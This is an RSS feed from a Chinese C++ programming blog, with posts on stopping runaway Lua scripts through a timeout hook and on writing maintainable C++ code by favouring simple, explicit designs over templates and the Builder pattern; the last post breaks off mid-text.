﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-局部变量的作用域-随笔分类-其它技术</title><link>http://www.cppblog.com/localvar/category/15389.html</link><description>&lt;font color="yellow" size=4&gt;本站关闭评论功能，如需评论请移步：&lt;a href="http://zbm.xuanwo.tk/"&gt;http://zbm.xuanwo.tk/&lt;/a&gt;&lt;/font&gt;</description><language>zh-cn</language><lastBuildDate>Mon, 09 May 2011 09:47:22 GMT</lastBuildDate><pubDate>Mon, 09 May 2011 09:47:22 GMT</pubDate><ttl>60</ttl><item><title>检测Lua脚本中的死循环</title><link>http://www.cppblog.com/localvar/archive/2011/05/07/145908.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Sat, 07 May 2011 11:18:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2011/05/07/145908.html</guid><description><![CDATA[<p>评论请移步：<a href="http://zbm.xuanwo.tk/2011/05/lua-deadloop.html">http://zbm.xuanwo.tk/2011/05/lua-deadloop.html</a><a href="http://vckbase.com/bbs"></a></p>
<a href="http://vckbase.com/bbs"></a>
<p><a href="http://vckbase.com/bbs">论坛</a>上有人问，所以把以前做的东西拿出来秀一下。</p>
<p>Lua是一门小巧精致的语言，特别适用于嵌入其它的程序为它们提供脚本支持。不过脚本通常是用户编写的，很有可能出现死循环，虽说这是用户的问题，但却会造成我们的宿主程序死掉。所以检测用户脚本中的死循环并中止这段脚本的运行就显得非常重要了。</p>
<p>可是，一个现实的问题是死循环并不好检测，一些隐藏较深的死循环连人都很难找出来，更不用说让机器去找了。所以实际采用的方案多是检测脚本的执行时间，如果超过一定的限度，就认为里面有死循环，我下面的例子也是用的这种方法。</p>
<p>以下是几个相关的全局变量（我是喜欢把C++当C用的程序员，C++的忠实粉丝请忍耐一下:)）的定义。</p>
<div style="PADDING-RIGHT: 5px; PADDING-LEFT: 4px; FONT-SIZE: 13px; BORDER-LEFT-COLOR: rgb(204,204,204); PADDING-BOTTOM: 4px; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BACKGROUND-COLOR: rgb(238,238,238)"><span style="COLOR: #008080">1</span>&nbsp;<span style="COLOR: #000000">lua_State</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;g_lua&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;NULL;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;lua脚本引擎</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">2</span>&nbsp;<span style="COLOR: #008000"></span><span style="COLOR: #0000ff">volatile</span><span style="COLOR: #000000">&nbsp;unsigned&nbsp;g_begin&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;脚本开始执行的时间</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">3</span>&nbsp;<span style="COLOR: #008000"></span><span style="COLOR: #0000ff">volatile</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">long</span><span style="COLOR: #000000">&nbsp;g_counter&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;脚本执行计数,&nbsp;用于判断执行超时</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">4</span>&nbsp;<span style="COLOR: #0000ff">volatile</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000"></span><span style="COLOR: #0000ff">long</span><span style="COLOR: #000000">&nbsp;g_check&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;进行超时检查时的执行计数</span></div>
<p>run_user_script用来执行用户脚本，它首先通过GetTickCount把当前的时间记录到g_begin中去。然后将g_counter加一，在执行完用户脚本后再将其加一，这样就可以保证执行用户脚本时它是个奇数，而不执行时是偶数，检测脚本超时的代码可以籍此来判断当前是否在执行用户脚本。还要注意调用用户脚本要使用lua_pcall而不是lua_call，因为我们中止脚本的执行会产生一个Lua中的&#8220;错误&#8221;，在C/C++中它是一个异常，只有用lua_pcall才能保证这个错误被Lua脚本引擎正确处理。</p>
<div style="PADDING-RIGHT: 5px; PADDING-LEFT: 4px; FONT-SIZE: 13px; BORDER-LEFT-COLOR: rgb(204,204,204); PADDING-BOTTOM: 4px; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BACKGROUND-COLOR: rgb(238,238,238)"><span style="COLOR: #008080">1</span>&nbsp;<span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;run_user_script(&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;nargs,&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;nresults,&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;errfunc&nbsp;)<br></span><span style="COLOR: #008080">2</span>&nbsp;<span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">3</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;g_begin&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;GetTickCount();<br></span><span style="COLOR: #008080">4</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;_InterlockedIncrement(&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">g_counter&nbsp;);<br></span><span style="COLOR: #008080">5</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;err&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;lua_pcall(&nbsp;g_lua,&nbsp;nargs,&nbsp;nresults,&nbsp;errfunc&nbsp;);<br></span><span style="COLOR: #008080">6</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;_InterlockedIncrement(&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">g_counter&nbsp;);<br></span><span style="COLOR: #008080">7</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;err;<br></span><span style="COLOR: #008080">8</span>&nbsp;<span style="COLOR: #000000">}</span></div>
<p>下面的check_script_timeout用来检测脚本超时，需要在另外一个线程中周期性的调用，原因我想就不用解释了吧。它首先检查是否在执行用户脚本，或者是否已经让当前执行的用户脚本中止过。然后看这段脚本执行了多长时间，超过限度就把当前脚本计数记录到g_check中去，并通过lua_sethook设置一个钩子函数timeout_break，这个钩子函数会在用户脚本执行时被调用。</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #008080">&nbsp;1</span>&nbsp;<span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;check_script_timeout()<br></span><span style="COLOR: #008080">&nbsp;2</span>&nbsp;<span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">&nbsp;3</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">long</span><span style="COLOR: #000000">&nbsp;counter&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;g_counter;<br></span><span style="COLOR: #008080">&nbsp;4</span>&nbsp;<span style="COLOR: #000000">&nbsp;<br></span><span style="COLOR: #008080">&nbsp;5</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;没有执行用户脚本,&nbsp;不检查超时</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">&nbsp;6</span>&nbsp;<span style="COLOR: #008000"></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(&nbsp;(counter&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0x00000001</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;)<br></span><span style="COLOR: #008080">&nbsp;7</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">&nbsp;8</span>&nbsp;<span style="COLOR: #000000">&nbsp;<br></span><span style="COLOR: #008080">&nbsp;9</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;已经让当前执行的用户脚本中止了</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">10</span>&nbsp;<span style="COLOR: #008000"></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(&nbsp;g_check&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;counter&nbsp;)<br></span><span style="COLOR: #008080">11</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">12</span>&nbsp;<span style="COLOR: #000000">&nbsp;<br></span><span style="COLOR: #008080">13</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;如果执行时间超过了设置的超时时间(这里是1秒),&nbsp;终止它</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">14</span>&nbsp;<span style="COLOR: #008000"></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(&nbsp;GetTickCount()&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;g_begin&nbsp;</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1000</span><span style="COLOR: #000000">&nbsp;)<br></span><span style="COLOR: #008080">15</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;{<br></span><span style="COLOR: #008080">16</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;g_check&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;counter;<br></span><span style="COLOR: #008080">17</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;mask&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;LUA_MASKCALL&nbsp;</span><span style="COLOR: #000000">|</span><span style="COLOR: #000000">&nbsp;LUA_MASKRET&nbsp;</span><span style="COLOR: #000000">|</span><span style="COLOR: #000000">&nbsp;LUA_MASKLINE&nbsp;</span><span style="COLOR: #000000">|</span><span style="COLOR: #000000">&nbsp;LUA_MASKCOUNT;<br></span><span style="COLOR: #008080">18</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lua_sethook(&nbsp;g_lua,&nbsp;timeout_break,&nbsp;mask,&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">19</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;}<br></span><span style="COLOR: #008080">20</span>&nbsp;<span style="COLOR: #000000">}</span></div>
<p>最后就是那个钩子函数了，它首先把钩子去掉，因为这个钩子只要执行一次就行了。由于设置钩子和执行钩子是在不同的线程中，并且钩子从设置到执行需要一定的时间，所以它要通过对比g_check和g_counter来判断是否还在运行判断超时所执行的那段脚本，不是就什么也不做，是就通过luaL_error产生一个错误，并中止脚本的执行，而这个错误最终会被run_user_script中的lua_pcall捕获。</p>
<div style="PADDING-RIGHT: 5px; PADDING-LEFT: 4px; FONT-SIZE: 13px; BORDER-LEFT-COLOR: rgb(204,204,204); PADDING-BOTTOM: 4px; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BACKGROUND-COLOR: rgb(238,238,238)"><span style="COLOR: #008080">1</span>&nbsp;<span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;timeout_break(&nbsp;lua_State</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;L,&nbsp;lua_Debug</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;ar&nbsp;)<br></span><span style="COLOR: #008080">2</span>&nbsp;<span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">3</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;lua_sethook(&nbsp;L,&nbsp;NULL,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;);<br></span><span style="COLOR: #008080">4</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;钩子从设置到执行,&nbsp;需要一段时间,&nbsp;所以要检测是否仍在执行那个超时的脚本</span><span style="COLOR: #008000"><br></span><span style="COLOR: #008080">5</span>&nbsp;<span style="COLOR: #008000"></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(&nbsp;g_check&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;g_counter&nbsp;)<br></span><span style="COLOR: #008080">6</span>&nbsp;<span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;luaL_error(&nbsp;L,&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">script&nbsp;timeout.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;);<br></span><span style="COLOR: #008080">7</span>&nbsp;<span style="COLOR: #000000">}</span></div>
<p>上面的检测使用了两个线程，其实在一个线程中也可以做到，并且更简单。但那样会导致钩子函数频繁执行，影响效率，如果对性能没什么要求的话，也可以采用。</p><img src ="http://www.cppblog.com/localvar/aggbug/145908.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2011-05-07 19:18 <a href="http://www.cppblog.com/localvar/archive/2011/05/07/145908.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编写可维护的代码(二)</title><link>http://www.cppblog.com/localvar/archive/2010/12/16/136645.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Thu, 16 Dec 2010 08:24:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2010/12/16/136645.html</guid><description><![CDATA[<p>假如一个系统中有多个模块，不妨命名为Module1, Module2, Module3......, 毫无疑问这个系统的启动过程中需要初始化所有这些模块, 而退出时要销毁它们, 那应该用下面哪种方法来完成这个任务呢?</p>
<div>A. 让这些模块都支持一个IModule, 然后定义一个IModule*类型的数组, 把这些模块的指针都加进去:
<table style="BORDER-COLLAPSE: collapse" borderColor=#999999 cellSpacing=0 cellPadding=0 width="55%" bgColor=#f1f1f1 border=1>
    <tbody>
        <tr>
            <td>
            <p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: #000000"><font face=NSimsun>IModule<span style="COLOR: #0000cc">*</span> modules<span style="COLOR: #0000cc">[</span><span style="COLOR: #0000cc">]</span> <span style="COLOR: #0000cc">=</span> <span style="COLOR: #0000cc">{</span><span style="COLOR: #0000cc">&amp;</span>Module1<span style="COLOR: #0000cc">,</span> <span style="COLOR: #0000cc">&amp;</span>Module2<span style="COLOR: #0000cc">,</span> <span style="COLOR: #0000cc">&amp;</span>Module3<span style="COLOR: #0000cc">,</span> <span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">}</span><span style="COLOR: #0000cc">;</span><br></font><font face=NSimsun><span style="COLOR: #ff9900"></span></font></span></code></p>
            <p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: #000000"><font face=NSimsun><span style="COLOR: #ff9900">// 初始化时:<br></span><span style="COLOR: #0000ff">for</span><span style="COLOR: #0000cc">(</span><span style="COLOR: #0000ff">int</span> i <span style="COLOR: #0000cc">=</span> 0<span style="COLOR: #0000cc">;</span> i <span style="COLOR: #0000cc">&lt;</span> <span style="COLOR: #0000ff">sizeof</span><span style="COLOR: #0000cc">(</span>modules<span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">/</span><span style="COLOR: #0000ff">sizeof</span><span style="COLOR: #0000cc">(</span>modules<span style="COLOR: #0000cc">[</span>0<span style="COLOR: #0000cc">]</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span> <span style="COLOR: #0000cc">+</span><span style="COLOR: #0000cc">+</span>i<span style="COLOR: #0000cc">)</span><br>&nbsp;modules<span style="COLOR: #0000cc">[</span>i<span style="COLOR: #0000cc">]</span><span style="COLOR: #0000cc">-</span><span style="COLOR: #0000cc">&gt;</span>Init<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br></font><font face=NSimsun><span style="COLOR: #ff9900"></span></font></span></code></p>
            <p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: #000000"><font face=NSimsun><span style="COLOR: #ff9900">// 退出时:<br></span><span style="COLOR: #0000ff">for</span><span style="COLOR: #0000cc">(</span><span style="COLOR: #0000ff">int</span> i <span style="COLOR: #0000cc">=</span> <span style="COLOR: #0000ff">sizeof</span><span style="COLOR: #0000cc">(</span>modules<span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">/</span><span style="COLOR: #0000ff">sizeof</span><span style="COLOR: #0000cc">(</span>modules<span style="COLOR: #0000cc">[</span>0<span style="COLOR: #0000cc">]</span><span style="COLOR: #0000cc">)</span> <span style="COLOR: #0000cc">-</span> 1<span style="COLOR: #0000cc">;</span> i <span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">=</span> 0<span style="COLOR: #0000cc">;</span> <span style="COLOR: #0000cc">-</span><span style="COLOR: #0000cc">-</span>i<span style="COLOR: #0000cc">)</span><br>&nbsp;modules<span style="COLOR: #0000cc">[</span>i<span style="COLOR: #0000cc">]</span><span style="COLOR: #0000cc">-</span><span style="COLOR: #0000cc">&gt;</span>Uninit<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span></font></span></code></p>
            </td>
        </tr>
    </tbody>
</table>
<br>B. 老老实实的一个一个的来.</div>
<div>
<table style="BORDER-COLLAPSE: collapse" borderColor=#999999 cellSpacing=0 cellPadding=0 width="55%" bgColor=#f1f1f1 border=1>
    <tbody>
        <tr>
            <td>
            <p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: #000000"><font face=NSimsun><span style="COLOR: #ff9900">// 初始化时:<br></span>Module1<span style="COLOR: #0000cc">.</span>Init<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br>Module2<span style="COLOR: #0000cc">.</span>Init<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br>Module3<span style="COLOR: #0000cc">.</span>Init<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br><span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><br></font><font face=NSimsun><span style="COLOR: #ff9900">// 退出时:<br></span><span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><br>Module3<span style="COLOR: #0000cc">.</span>Uninit<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br>Module2<span style="COLOR: #0000cc">.</span>Uninit<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br>Module1<span style="COLOR: #0000cc">.</span>Uninit<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span></font></span></code></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<div>如果你读了我的上一篇, 你肯定能猜到我的选择是B. 但我想先说说A, 把A说清楚了, 选择B的理由也就出来了.</div>
<p>A是典型的数据驱动 + Builder模式, 它最大的优点是增加或删除一个模块只需要增加或删除一个数据项, 耦合很小, 所以看起来非常优雅.</p>
<p>而A的缺点有两个. 和上一篇一样, 其中之一也出在调试上: 当一个模块初始化失败后, 如果我们只看外面这些代码, 没有办法一眼得出是谁失败了, 必须得多一些操作才行.</p>
<p>第二点是A实现强制了模块的初始化和退出顺序, 先初始化的模块后退出貌似很合理, 但在一个大型系统中却总会出例外, 而且还可能出现Module1先初始化一半, 然后Module2初始化, 之后Module1再继续初始化等情况. 当然, 我们可以使用"把初始化顺序和退出顺序定义在两个数组中"或"把初始化划分为多个阶段"等方法处理这些问题, 但这些方法都会增加复杂性, 而且也都不能从根本上解决问题.</p>
<p>B实现则用简单直接的方法很好的避免了A的问题, 虽然它看起来好像很笨, 增加删除一个模块要改多个地方, 但这些改动总共也不过几行代码, 而且往往只涉及一个文件, 所以总体代价并不高.</p>
<p>最后, 本文的场景乍看起来非常适合使用Builder模式, 可为什么使用它的效果不好呢? 我本人对设计模式不感冒也不擅长, 所以只能试着解释一下这个问题: 其原因就是这个场景只是看起来像, 但其实并不适用Builder模式. Builder模式要求对象支持统一的接口, 也希望对象之间没什么关联, 这是我们作设计时追求的目标, 但在实现一个复杂系统时却很难完全满足这些要求, 所以硬套上去就会出问题. 而且在实现一个系统时, 各个模块还不可能完全定下来, 实现过程中的改动也会给Buidler模式带来麻烦. 按我个人的理解, Buidler模式不应被用来处理系统的主体模块, 它真正的适用场合之一是实现对插件的支持, 把所有插件定义在一个列表中, 然后逐项处理, 因为这时系统的主体功能已经完成, 所以可以为插件定义出清晰的接口, 而且就算定义的接口有一点问题, 它所影响的也只是某些插件而非主体功能了.</p>
<br><br><br>
<div></div>
<img src ="http://www.cppblog.com/localvar/aggbug/136645.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2010-12-16 16:24 <a href="http://www.cppblog.com/localvar/archive/2010/12/16/136645.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编写可维护的代码(一)</title><link>http://www.cppblog.com/localvar/archive/2010/10/29/132764.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Fri, 29 Oct 2010 05:24:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2010/10/29/132764.html</guid><description><![CDATA[<p>可维护性我认为主要由两个方面构成, 一是可读性, 也就是代码要能让人看懂; 二是可调试性, 出了问题可以很快的找到原因. 市面上讲设计的书很多, 但大部分侧重于灵活性和可复用性, 比如面向对象设计和设计模式等. 灵活和可复用并没有什么错, 但我认为可维护要更重要一些, 试想如果一个模块非常灵活并被大量复用, 却不可维护, 岂不是不出问题则已, 一出就是灾难性的吗?<br><br>再看C++语言, C++是一个提供了太多特性的语言, 每一件事情都可以用好几种可选的特性去实现, 但我们应该选择哪一种呢? 显然应该是最合适, 最实用的, 而不是最新最酷的.<br><br>从05年末到09年初, 我得到了一个非常难得的机会: 把一个项目做了两遍. 第一遍的时候用了很多C++的高级特性, 也有意无意的引入了一个设计模式的思想, 项目也还成功, 但后续的维护却越来越难. 后来在做第二遍的时候, 受《UNIX编程艺术》等的影响(也就是在这时候我成了把C++当C用的程序员), 开始学习用最简单直接的方法解决问题. 而结果也相当好, 不光项目成功, 整个系统的可维护性也不错. 而且虽然设计时完全没考虑面向对象, 设计模式, 但最终的系统却又带着这些东西的影子, 只是实现方法和书上写的不完全一样. (呵呵, 吹大了 欢迎大家对这一段扔几个西红柿鸡蛋之类的).<br><br>现在由于工作变动开始维护另一个系统, 这是一个很C++, 很面向对象, 也很设计模式的系统, 可是维护起来却无比困难, 出问题后简直无从下手. 所以更体会到了可维护性的重要, 进而想到应该把自己的这点经验总结一下, 写出来. 目前总共有四五篇的题材, 都是很细节的问题,&nbsp; 希望自己能坚持写完. 我的方法也许不那么漂亮, 但应该还实用, 毕竟也算是真刀真枪的实战中总结出来的.<br><br>因为一发出来就被批了个体无完肤, 所以加上了这些文字, 说明一下背景. 不太喜欢口水仗, 后续的批评我将不再回复, 因为软件开发是工程而不是艺术, 工程讲究实用, 没有绝对的对和错, 一切都应该根据实际情况具体问题具体分析. 我写的东西只是供大家参考, 没有也无法强迫大家一定要用.<br><br>下面开始正题. 如果我们要实现一个类, 用于从流式缓冲区读出数据(典型应用是网络通讯中的数据包分析), 你会用下面哪种实现呢(错误处理用的是异常, 与主题关系不大, 故不详述)?</p>
<div>
<table style="BORDER-COLLAPSE: collapse" borderColor=#999999 cellSpacing=0 cellPadding=0 width="60%" bgColor=#f1f1f1 border=1>
    <tbody>
        <tr>
            <td>
            <p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: #000000"><font face=NSimsun><span style="COLOR: #ff9900">// A实现<br></span><span style="COLOR: #0000ff">class</span> CBufferReaderA<br><span style="COLOR: #0000cc">{</span><br>&nbsp;<span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><br>&nbsp;<span style="COLOR: #0000ff">template</span><span style="COLOR: #0000cc">&lt;</span><span style="COLOR: #0000ff">class</span> T<span style="COLOR: #0000cc">&gt;</span><br>&nbsp;CBufferReaderA<span style="COLOR: #0000cc">&amp;</span> <span style="COLOR: #0000ff">operator</span><span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">&gt;</span><span style="COLOR: #0000cc">(</span> T<span style="COLOR: #0000cc">&amp;</span> v <span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br>&nbsp;<span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><br><span style="COLOR: #0000cc">}</span><span style="COLOR: #0000cc">;</span><br><br></font><font face=NSimsun><span style="COLOR: #ff9900">// B实现<br></span><span style="COLOR: #0000ff">class</span> CBufferReaderB<br><span style="COLOR: #0000cc">{</span><br>&nbsp;<span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><br>&nbsp;<span style="COLOR: #0000ff">char</span> ReadChar<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br>&nbsp;<span style="COLOR: #0000ff">short</span> ReadShort<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br>&nbsp;<span style="COLOR: #0000ff">int</span> ReadInt<span style="COLOR: #0000cc">(</span><span style="COLOR: #0000cc">)</span><span style="COLOR: #0000cc">;</span><br>&nbsp;<span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><span style="COLOR: #0000cc">.</span><br><span style="COLOR: #0000cc">}</span><span style="COLOR: #0000cc">;</span></font></span></code></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<div>我想不少人会选择A, 因为看起来更酷一些, 而且只写了一个模板函数就可以处理一大堆数据类型了, 但实际上, 如果从可维护性和实用性来说, B却更好一点. 下面就来对比分析一下.<br><br></div>
<p>1. 像cin/cout一样, A实现能把多个操作写在一起.</p>
<div>
